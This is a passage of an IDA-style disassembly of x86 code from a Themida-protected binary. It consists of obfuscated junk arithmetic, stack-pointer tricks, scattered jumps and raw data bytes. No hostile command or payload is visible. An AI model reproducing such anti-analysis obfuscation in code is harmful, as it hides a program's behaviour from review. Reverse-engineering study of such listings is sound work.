		sub	eax, 1D2D4B47h
		sub	eax, 67CA690Eh
		sub	eax, 56DD3279h
		add	eax, esi
		jmp	loc_512AB6
; ---------------------------------------------------------------------------
aH?		db ')ß[h?<',0
		dw 8900h
		dd 0E0BE2434h, 8165704Eh, 875A03F6h, 6EEC123h, 22D0E9h
		dd 62CE6800h, 4890000h,	5C4E6824h, 8F540000h, 0BF572404h
		dd 4, 4244481h,	386451F0h, 4247C01h, 0FFFBE0E9h, 4C181FFh
		dd 81000000h, 4C1h, 240C8700h, 51C7FE5Ch, 0D1F6CCB1h, 0E0F180h
		dd 0AADDE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51445A:				; CODE XREF: Themida_:0051112Cj
		push	esi
		mov	esi, 36763AB4h
		sub	esi, 36763AB0h
		jmp	loc_513D09
; ---------------------------------------------------------------------------
		db 52h
		dd 65E9h, 67685800h, 8900006Bh,	4B82404h, 50000000h, 8E71A6B8h
		dd 4BD33576h, 8E0505EEh, 0D7A9F72h, 79F30DC9h, 19E9D0F7h
		dd 0BFFFFF4Bh, 4, 0D0E9FE01h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5144A7:				; CODE XREF: Themida_:0050EF27j
		push	ebx
		mov	bl, 7Eh
		and	bl, 13h
		dec	bl
		not	bl
		inc	bl
		and	bl, 22h
		push	ecx
		mov	ch, 0A7h
		add	ch, 17h
		push	edx
		mov	dh, 29h
		inc	dh
		add	dh, 0AEh
		add	dh, 6Bh
		neg	dh
		or	dh, 0CBh
		xor	dh, 0C5h
		add	ch, dh
		jmp	loc_50D03B
; ---------------------------------------------------------------------------
		dw 0B3BAh
		dd 8343FC50h, 814201C2h, 0FC50B1F2h, 5AD00143h,	405h, 0FBF8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5144F2:				; CODE XREF: Themida_:0050DA58j
		pop	edi
		shr	edi, 3
		add	edi, 56D3DCDBh
		xor	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7A661932h
		jmp	loc_5103E6
; ---------------------------------------------------------------------------


loc_514512:				; CODE XREF: Themida_:00504EFBj
		mov	ecx, ebx
		pop	ebx
		and	ebp, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_502E54
; ---------------------------------------------------------------------------
		dd 4C481h, 0C1810000h, 4, 4EC81h, 2C890000h, 4EC8324h
		dd 0BE243489h, 273633E1h, 0FF5899E9h, 0FE5966FFh, 71D4E9C7h
		dd 0F001FFFFh, 2404875Eh, 4BA525Ch, 1000000h, 0F19CE9D5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_514562:				; CODE XREF: Themida_:00502B4Cj
		mov	ebx, 44F61172h
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 44F61172h
		jmp	loc_516E20
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0E959CE29h, 0FFFFBA61h, 5A2434FFh, 815A5452h, 4C2h
		dd 4C28100h, 87000000h,	0E95C2414h, 0FFFEFB41h,	83241C8Bh
		dd 0BA5204C4h, 4, 0FEFD7CE9h, 240489FFh, 0E951E888h, 0FFFFDDE7h
		dd 4BEh, 66ED8100h, 160264Fh, 66C581F5h, 5E60264Fh, 0FFDC20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5145DD:				; CODE XREF: Themida_:00510C06j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5102D7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 0B76DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514602:				; CODE XREF: Themida_:00508FC7j
		mov	dl, 0BCh
		neg	dl
		push	ebx
		push	ecx
		mov	cl, dl
		mov	bh, cl
		jmp	loc_511A87
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF241C89h, 8B042474h, 79E9241Ch
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514623:				; CODE XREF: Themida_:005154D6j
		pop	ecx
		add	eax, edi
		push	edx
		jmp	loc_513671
; ---------------------------------------------------------------------------
dword_51462C	dd 7B0E68h, 24348900h, 52956853h, 525B73BCh, 0C727EBBAh
					; DATA XREF: Themida_:00502A7Co
		dd 8CA8115h, 42522356h,	2A4BF281h, 0D3310D46h, 4EC815Ah
		dd 0E9000000h, 0FFFF3B7Bh, 4C681h, 0EE810000h, 4, 5C243487h
		dd 0BE243489h, 51E23483h, 5714F681h, 0B9514412h, 3DB87C19h
		dd 0FEE555E9h, 5FFB01FFh, 6E54BE56h, 0E6C15F87h, 0DDEE8103h
		dd 817CE369h, 831784C3h, 81F3011Ah, 831784EBh, 43E95E1Ah
		dd 89FFFF46h, 5D54242Ch, 4C581h, 0ED830000h, 242C8704h
		dd 48F545Ch, 24048124h,	4, 4B8505Ah, 81000000h,	0E01D18C2h
		dd 81C2016Eh, 0E01D18EAh, 39DBE96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5146E2:				; CODE XREF: Themida_:00516702j
		push	2410h
		mov	[esp], esi
		mov	esi, 2FC7325Eh
		sub	edi, esi
		mov	esi, [esp]
		jmp	loc_502E92
; ---------------------------------------------------------------------------


loc_5146F9:				; CODE XREF: Themida_:00505E1Bj
		sub	eax, edx
		pop	edx
		push	eax
		jmp	loc_509830
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 64EF3BD6h, 3C8BFA01h, 4C48124h, 0E9000000h, 0FFFF103Bh
		dd 0C102E3C1h, 90E902E3h, 52FFFF3Bh, 0C281E289h, 4, 2C281h
		dd 14330000h, 24143124h, 5C241433h, 0E586C5FEh,	0E530D4F6h
		dd 0C9E9EC30h, 52FFFF22h, 0FF3758E9h, 645DBEFFh, 0DFE9061Eh
		dd 81FFFF98h, 32276BE9h, 0BF575D6Ch, 4,	0C8E9F929h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51476F:				; CODE XREF: Themida_:0050633Ej
		mov	eax, 346652CCh
		jmp	loc_50A29A
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 57E08924h, 27B4E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514786:				; CODE XREF: Themida_:0050EFE2j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_50BCC2
; ---------------------------------------------------------------------------
		dw 525Bh
		dd 0C281E289h, 4, 0FF8578E9h, 4C481FFh,	83000000h, 875504C4h
		dd 0D0F72404h, 5D240487h, 3FD8C581h, 0DDF702C3h, 4FC58145h
		dd 5F6913Ch, 2CB20969h,	0D268E801h, 89000039h, 0F0BF243Ch
		dd 81443706h, 4ECh, 242C8900h, 0B8DE9h,	4206800h, 1C890000h
		dd 8638E924h, 0E980FFFFh, 865166E6h, 0CE862434h, 8F71E951h
		db 2 dup(0FFh)
word_514802	dw 56ADh		; DATA XREF: Themida_:00502964o
		dd 7424E4BEh, 221AE942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51480E:				; CODE XREF: Themida_:0050A756j
		and	esi, 69D27108h
		add	esi, 36280175h
		sub	esi, 76280179h
		jmp	loc_5086E5
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EFh
		dd 4, 5C243C87h, 0BB241C89h, 175C1A10h,	815BDA29h, 3061D4C2h
		dd 5AD531B7h, 59FAEB81h, 0B5E96AA4h, 2DFFFFD5h,	7EC95B13h
		dd 0FFCC38E9h, 0FE95CFFh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51485F:				; CODE XREF: Themida_:0050A46Aj
		add	esp, 4
		add	bh, 7Fh
		or	bh, 35h
		push	139Dh
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_5141C6
; ---------------------------------------------------------------------------
		db 81h
		dd 6D66E4C1h, 21C18110h, 0E910F958h, 0FFFF7A1Bh, 0CE9C189h
		dd 55FFFF18h, 0FF26C4E9h, 1EC281FFh, 5779A0C3h,	6416E3BFh
		dd 0B8E78165h, 816C5C51h, 0BC611CF7h, 4EFC16Eh,	0FF754CE9h
		dd 241C89FFh, 0EBD5556h, 111FA25h, 5D04246Ch, 0EEB815Bh
		dd 8911FA25h, 241C8BDAh, 56DE957h, 4BAFFFFh, 56000000h
		dd 0E21511BEh, 5EF1013Eh, 64C8E981h, 0D129731Eh, 64C8C181h
		dd 0BA52731Eh, 3EE21511h, 0FF91F8E9h, 240C8BFFh, 4C481h
		dd 0B6520000h, 53CEFE65h, 39E9EAB3h, 8FFFFF81h,	248B2404h
		dd 48B6624h, 88E95624h,	8900002Dh, 4812424h, 424h, 24048B00h
		dd 4C481h, 4050000h, 81000000h,	4ECh, 24348900h, 36231668h
		dd 0D6875E51h, 0E956D2F7h, 0FFFF36C0h, 0DF4136BAh, 3666E936h
		dd 0BD55FFFFh, 827ED829h, 0FF1C58E9h, 4C483FFh,	5C24048Fh
		dd 2C181h, 0C870000h, 0E1F65C24h, 0CCB60F66h, 0FFA621E9h
		dd 24148BFFh, 0FF9553E9h, 0EB0158FFh, 83242C8Bh, 1C8704C4h
		dd 0C4815C24h, 4, 4C181h, 28E90000h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5149AF:				; CODE XREF: Themida_:00507D18j
		or	ebp, ebx
		pop	ebx
		shr	ebp, 4
		jmp	loc_50D6DF
; ---------------------------------------------------------------------------
aB_0		db 'ÃÓ;Æ',0
		dd 0EB81CB01h, 0C63BD3h, 2434FF59h, 0EC0EE95Eh,	0E95CFFFEh
		dd 0FFFEE0F3h
; ---------------------------------------------------------------------------


loc_5149D8:				; CODE XREF: Themida_:00504CA7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51021D
; ---------------------------------------------------------------------------


loc_5149E7:				; CODE XREF: Themida_:0050A85Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_50D50C
; ---------------------------------------------------------------------------
		db 89h
		dd 8BA2414h, 0E9250158h, 0FFFF2595h, 8101ED83h,	412CB0EDh
		dd 88A9E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514A32:				; CODE XREF: Themida_:00502EE9j
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_51079E
; ---------------------------------------------------------------------------


loc_514A3F:				; CODE XREF: Themida_:00508440j
		add	eax, 53F0113Ch
		sub	eax, 3E1923FCh
		push	edi
		mov	edi, 786B0DCEh
		xor	edi, 18916348h
		xor	edi, 339874D1h
		add	edi, 0EF275C7Fh
		jmp	loc_509E7A
; ---------------------------------------------------------------------------
		dw 54B5h
		dd 0E9BFCD80h, 0FFFF2A0Ah, 0EAC1DAF7h, 0A8EA8102h, 0BE12D7CDh
		dd 5DB35EE6h, 148BD631h, 4C48124h, 31000000h, 0F5815EF5h
		dd 4DBC0E8Eh, 6082C381h, 0EB290877h, 0FFAC48E9h, 0CB0566FFh
		dd 0F0296634h, 0FF316DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514AAD:				; CODE XREF: Themida_:005042C1j
		xchg	ecx, [esp]
		jmp	loc_514F78
; ---------------------------------------------------------------------------
byte_514AB5	db 0FFh, 77h, 3Ch	; DATA XREF: Themida_:005028B4o
aUhqq		db 'UhqQ',0
		align 2
		dw 1489h
		dd 671CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514AC6:				; CODE XREF: Themida_:0051758Aj
		mov	eax, 1F7D58BFh
		add	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 687D229Dh
		shr	ebp, 2
		not	ebp
		dec	ebp
		jmp	loc_502D6F
; ---------------------------------------------------------------------------
		db 83h
		dd 4BE904C4h, 5BFFFEE4h, 3E5368h, 240C8900h, 6602EC83h
		dd 0B2241489h, 0E9505326h, 0E7Bh, 0DFA1E95Dh, 60BDFFFEh
		dd 8109B209h, 9E056CE5h, 5CED8129h, 0E9099201h,	273Fh
; ---------------------------------------------------------------------------


loc_514B40:				; CODE XREF: Themida_:00513726j
		add	esi, 4
		jmp	loc_5074D8
; ---------------------------------------------------------------------------


loc_514B4B:				; CODE XREF: Themida_:005050E5j
		add	ebx, 486A0A61h
		pop	edx
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_514B57:				; CODE XREF: Themida_:00507C8Dj
		xor	ecx, 452E2528h
		add	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, 54986775h
		add	ebp, edi
		add	ebp, 54986775h
		pop	edi
		jmp	loc_50DFD5
; ---------------------------------------------------------------------------
		db 1
		dd 0EE835FFEh, 0BC58E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514BA6:				; CODE XREF: Themida_:0050A176j
		add	ebx, edx
		add	[ebx], ecx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx


loc_514BB5:				; CODE XREF: Themida_:00506738j
		push	ebx
		jmp	loc_510A70
; ---------------------------------------------------------------------------


loc_514BBB:				; CODE XREF: Themida_:005123E4j
		mov	ebx, 0
		add	ebx, 7AD215CFh
		jmp	loc_51317F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C28103E2h, 1FC46C2Ch, 3EAC14Ah, 805E9h
		db 0
; ---------------------------------------------------------------------------


loc_514BDD:				; CODE XREF: Themida_:005173DCj
		xor	eax, edi
		pop	edi
		add	esi, eax
		pop	eax
		jmp	loc_50FD0A
; ---------------------------------------------------------------------------


loc_514BE8:				; CODE XREF: Themida_:005155C9j
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_510080
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 0FBh
		dd 0F268E95Fh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_514BFE:				; CODE XREF: Themida_:00515EA6j
		pop	eax
		jmp	loc_5071DF
; ---------------------------------------------------------------------------
		dd 4244481h, 531C7EEBh,	0EB815B5Eh, 4D05F0Bh, 0FFE52FE9h
		dd 241487FFh, 4EC815Ch,	89000000h, 0A968243Ch, 8B210C07h
		dd 9AE9243Ch, 8BFFFF03h, 8956240Ch, 4C681E6h, 83000000h
		dd 348704C6h, 780BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514C4A:				; CODE XREF: Themida_:0050EABFj
		sub	eax, 5A0ACDBDh
		push	eax
		pop	edi
		pop	eax
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		push	esi
		mov	esi, 40953E35h
		jmp	loc_516CC8
; ---------------------------------------------------------------------------


loc_514C97:				; CODE XREF: Themida_:00508AE6j
		shr	edx, 3
		jmp	loc_507BDE
; ---------------------------------------------------------------------------


loc_514C9F:				; CODE XREF: Themida_:0050B8F2j
		add	ecx, 1DEC02B5h
		add	ecx, eax
		sub	ecx, 1DEC02B5h
		pop	eax
		push	edx
		jmp	loc_50C0E4
; ---------------------------------------------------------------------------
		dd 24248Bh, 0E99C2404h,	80h, 2EE9D389h
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_514CC7:				; CODE XREF: Themida_:0050E526j
		mov	ebx, 34AF466Dh
		sub	esp, 4
		jmp	loc_50A33E
; ---------------------------------------------------------------------------


loc_514CD7:				; CODE XREF: Themida_:0050A742j
		xchg	ecx, [esp]
		pop	esp
		movzx	cx, al
		push	small 6C7Fh
		mov	[esp], cx
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_514CEC:				; CODE XREF: Themida_:0050816Cj
		push	68E4h
		jmp	loc_507EFB
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF361Fh, 815AD531h, 0D638F9EDh, 4AC58175h, 894282BAh
		dd 31685DEFh, 89000015h, 0FDB9240Ch, 100A93Ch, 0EE8159CEh
		dd 575657CDh, 0C681FE01h, 575657CDh, 0FEF208E9h, 0E9D189FFh
		dd 0FFFFF1E7h, 0E9241C89h, 0FFFF1AD2h, 0FEDD86E9h, 839141FFh
		dd 0E99101E8h, 0FFFF1815h, 15FFA29h, 4462E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514D5A:				; CODE XREF: Themida_:00510689j
		sub	ebp, 36E3297Ah
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEDD5Fh, 241C895Ch, 0C381E389h, 4, 4C381h, 7BE90000h
		dd 51FFFF30h, 1AE90FB5h, 5DFFFEE9h, 5C24048Fh, 50241489h
		dd 0A76C9AB8h, 60300D21h, 0C4E9059Eh
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514DA3:				; CODE XREF: Themida_:00507F29j
		push	254Bh
		jmp	loc_512373
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 4Dh
		dd 33E9C608h, 0F700000Ch, 0E98141D9h, 85B2CB8Dh, 8959CA31h
		dd 24148BD1h, 4C481h, 0EFB80000h, 3166C520h, 240C8BC8h
		dd 0E904C483h, 0FFFF0B68h
; ---------------------------------------------------------------------------


loc_514DE0:				; CODE XREF: Themida_:00508F4Cj
		push	ebx
		mov	ebx, 44332D28h
		jmp	loc_508ADA
; ---------------------------------------------------------------------------
		db 51h
		dd 5F7E1AB9h, 4E1C125h,	3DE8F181h, 0E9C12DFCh, 0D9F74907h
		dd 0C92FF181h, 0CA89CC4Bh, 756DE959h, 315DFFFFh, 2434FFC8h
		dd 4C48359h, 0C231C331h, 0FEDCAAE9h, 4C483FFh, 0FEDCA2E9h
		dd 0DAE981FFh, 0E9E7DAC5h, 0FFFFAD99h, 1117685Ah, 9CE90000h
		dd 1000006h, 6804245Ch,	17D3h, 0B9240C89h, 7C6A59C3h, 0F181D9F7h
		dd 0E6C6EE5Fh, 8244C29h, 246C8159h, 3A716704h, 0EF68E900h
		dd 248BFFFFh, 23F6E924h, 4890000h, 0BF575324h, 2, 3C8BFB89h
		dd 60E95724h, 5FFFFF83h, 2E7C14Fh, 63B2C781h, 0FE3178A7h
		dd 5EF0015Fh, 26F2E9h, 5EF70100h, 12E95156h, 83FFFFF4h
		dd 0F83004C4h, 8B2434FFh, 0C481241Ch, 4, 0E9E08950h, 0FFFF7847h
		dd 5158E588h, 1247C86h,	7C86D7F6h, 80590124h, 0E5C001C5h
		dd 24C58004h, 0F62AC580h, 353C68D5h, 1C890000h,	8071B324h
		dd 0C38035C3h, 2E3C07Fh, 0E936EB80h, 0FFFF42BCh
; ---------------------------------------------------------------------------


loc_514EF8:				; CODE XREF: Themida_:00508A82j
		xor	edi, 34B06899h
		add	edi, 23C458CAh
		jmp	loc_507A7E
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 81E18951h, 4C1h, 4C18100h, 0E9000000h, 0FFFF49DEh, 8DFCE81h
		dd 0EEC146A9h, 85C68103h, 89F12056h, 0CE015EF1h, 160AE9h
		db 0
; ---------------------------------------------------------------------------


loc_514F39:				; CODE XREF: Themida_:0050BCCAj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_50F184
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6D310BA3h
		xor	esi, 6D310BA2h
		push	esi
		xor	dword ptr [esp], 308338D2h
		pop	edx
		jmp	loc_51796A
; ---------------------------------------------------------------------------


loc_514F78:				; CODE XREF: Themida_:00514AB0j
		pop	esp
		mov	[esp], edx
		push	1DAA1CE5h
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1266002Ch
		and	edx, esi
		pop	esi
		jmp	loc_513FFE
; ---------------------------------------------------------------------------
		dd 7FFAEA81h, 0D70157BEh, 4EF835Ah, 5C243C87h, 68241489h
		dd 0C2h, 0B4240489h, 0AE96E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514FBA:				; CODE XREF: Themida_:0050FFB0j
		push	2C23h
		mov	[esp], edx
		mov	edx, 342119F5h
		shl	edx, 5
		xor	edx, 84233EA4h
		sub	ebx, edx
		jmp	loc_513D9F
; ---------------------------------------------------------------------------
		db 1
		dd 0C3815FFDh, 319C1E2Ch, 0BD55EB01h, 12122B92h, 0FEFA4AE9h
		dd 4C481FFh, 51000000h,	93466DB9h, 0C017E932h, 0CA01FFFFh
		dd 4C28359h, 0E9241487h, 1ED0h,	6E0AC181h, 0F1017FFCh
		dd 6E0AE981h, 515E7FFCh, 42474FFh, 83240C8Bh, 48F04C4h
		dd 8B665C24h, 0EC812404h, 4, 0FFEA92E9h, 4BEFFh, 0F1010000h
		dd 9A65E95Eh, 0FD88FFFFh, 0EF88C5FEh, 0E7805966h, 0E9DFF67Bh
		dd 0FFFF3868h
; ---------------------------------------------------------------------------


loc_515058:				; CODE XREF: Themida_:0050C921j
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50CF0A
; ---------------------------------------------------------------------------


loc_51506A:				; CODE XREF: Themida_:005140BEj
		push	4396h
		mov	[esp], edx
		mov	edx, edi
		mov	ebx, edx
		pop	edx
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_504BE4
; ---------------------------------------------------------------------------


loc_51509B:				; CODE XREF: Themida_:005056AAj
		add	ebp, 5DA7415Fh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_50A675
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 7BF7EE81h, 0EE81258Ah, 5BF960BEh, 0E9241C8Bh, 0FFFF71B7h
		dd 31243433h, 34332434h, 5888E924h, 0DAF7FFFFh,	5D2FEA81h
		dd 0E2813618h, 3B4E5523h, 8102E2C1h, 822FC1E2h,	7CEA817Fh
		dd 1600000h, 59E95AD6h,	5FFFFFB8h, 5820E957h, 0BA52FFFFh
		dd 4, 0E95AD101h, 0FFFF3FFCh, 38E8E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515122:				; CODE XREF: Themida_:005098CDj
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Ah
		push	ecx
		push	eax
		push	7B28h
		jmp	loc_507567
; ---------------------------------------------------------------------------
word_51513E	dw 8B66h		; DATA XREF: Themida_:00502A6Co
		dd 5BE92404h, 81FFFF37h, 4ECh, 24148900h, 0B951E289h, 34AE459Fh
		dd 0FF9650E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51515D:				; CODE XREF: Themida_:00507C6Fj
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	ecx
		push	ebp
		jmp	loc_505C91
; ---------------------------------------------------------------------------


loc_515194:				; CODE XREF: Themida_:00516BA6j
		add	ebp, 0FB3DBB04h
		add	eax, ebp
		pop	ebp
		push	edx
		jmp	loc_509628
; ---------------------------------------------------------------------------


loc_5151A3:				; CODE XREF: Themida_:0050B1DDj
		mov	[esp], eax
		jmp	loc_508268
; ---------------------------------------------------------------------------


loc_5151AB:				; CODE XREF: Themida_:00504086j
		pop	ecx
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		add	bl, 77h
		push	edx
		mov	dh, 47h
		jmp	loc_502B51
; ---------------------------------------------------------------------------
word_5151C2	dw 968h			; DATA XREF: Themida_:00502894o
		dd 54000032h, 5124048Fh, 10E9E189h, 53FFFFA4h, 0D7E9E389h
		dd 81FFFFA0h, 4C4h, 59C82900h, 0B951C801h, 3DA7939h, 0FFDE22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5151F1:				; CODE XREF: Themida_:0050580Bj
		push	bx
		mov	bl, dh
		not	bl
		mov	dh, bl
		pop	bx
		jmp	loc_50A6ED
; ---------------------------------------------------------------------------
		dd 627F68h, 243C8900h, 347866BFh, 4815759h, 547BAF24h
		dd 24348B5Ch, 0FFC366E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51521D:				; CODE XREF: Themida_:00507DCEj
		sub	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		push	ecx
		push	eax
		jmp	loc_506765
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 24048B93h, 5304C483h, 5B2414F7h, 0FEF1CAE9h,	391E68FFh
		dd 4890000h, 800FB024h,	0EB8028EBh, 0E9C300E7h,	0FFFFA21Dh
		dd 0E189515Ch, 4C181h, 0E9830000h, 1B09E904h, 0DD01FFFFh
		dd 0F79E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51526E:				; CODE XREF: Themida_:005128A0j
		xor	eax, edx
		jmp	loc_50D346
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 81h
		dd 640CD0F6h, 0FE2CD0F6h, 0C0FEC0FEh, 7934C20Ch, 6658C708h
		dd 662C0F68h, 0E9241C89h, 0FFFF3361h, 85FDC681h, 0E6812CD4h
		dd 1C641636h, 7870EE81h, 6E9996Bh, 88FFFF2Dh, 70E95AF3h
		dd 42FFFF7Ah, 0B1B9C281h, 64E9E606h, 29FFFF9Eh,	302D5FF8h
		dd 0E92F7311h, 0FFFFD32Fh
; ---------------------------------------------------------------------------


loc_5152D0:				; CODE XREF: Themida_:00509ECBj
		pop	esp
		add	edx, 1
		push	ebp
		mov	ebp, 5D9E18FFh
		jmp	loc_511D05
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 0E9000000h, 0FFFF717Eh, 81DEF759h,	0A44011C6h
		dd 46C6812Fh, 31964E41h, 0F8015EF7h, 0FEF7A8E9h
		db 0FFh
byte_515309	db 66h,	8Bh, 4		; DATA XREF: Themida_:005028CCo
		dd 4EC8124h, 89000000h,	21E9242Ch, 31FFFFB1h, 4332404h
		dd 0C875C24h, 0B868E924h, 1489FFFFh, 2A5ABA24h,	0D2E91CBFh
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_515337:				; CODE XREF: Themida_:00511010j
		mov	ebx, 442F1131h
		jmp	loc_50B7A2
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 60h
		dd 81622163h, 113435EAh, 24048B23h, 8704C483h, 248B2414h
		dd 68E9F724h, 60C7h, 50241489h,	0D761E99Ch, 148BFFFEh
		dd 32D3E924h, 0ADBDFFFFh, 1024C71h, 242C8BEFh, 4C481h
		dd 0BB530000h, 42091BA6h, 4F5BDF09h, 2F82EF81h,	0FE91712h
		dd 9FFFF47h, 0F1815DE9h, 6EFF6C7Ah, 591C4F09h
; ---------------------------------------------------------------------------


loc_5153A4:				; CODE XREF: Themida_:loc_503007j
		push	0A45h
		mov	[esp], edx
		jmp	loc_507483
; ---------------------------------------------------------------------------
		db 5Dh,	5, 6Bh
		dd 51795064h, 1C29E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5153BE:				; CODE XREF: Themida_:0050FA26j
		pop	esp
		jmp	loc_5177C6
; ---------------------------------------------------------------------------
dword_5153C4	dd 9D1C77FFh, 24041958h, 0D6F9E99Ch ; DATA XREF: Themida_:005029E4o
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5153D2:				; CODE XREF: Themida_:00506B6Ej
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_51122C
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0F58A002h, 0FF02C2E9h, 240489FFh, 2B8h, 0B8BE5600h
		dd 164080Bh, 0EA815EF2h, 6B621B47h, 5BE9C201h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51540B:				; CODE XREF: Themida_:0051786Fj
		add	esp, 4
		xchg	ecx, ebp
		neg	ecx
		xchg	ecx, ebp
		shr	ebp, 3
		sub	ebp, 0B4A347DFh
		or	edx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_50AA18
; ---------------------------------------------------------------------------
		db 50h
		dd 88D18851h, 0D881E9CCh, 0C483FFFEh, 7645E904h, 0E951FFFFh
		dd 0FFFFD76Fh, 0C781D7F7h, 0C928CB04h, 815FFE21h, 821E29C6h
		dd 2C815624h, 0AD51FD24h, 51EFE979h, 248BFFFFh,	0EA50E924h
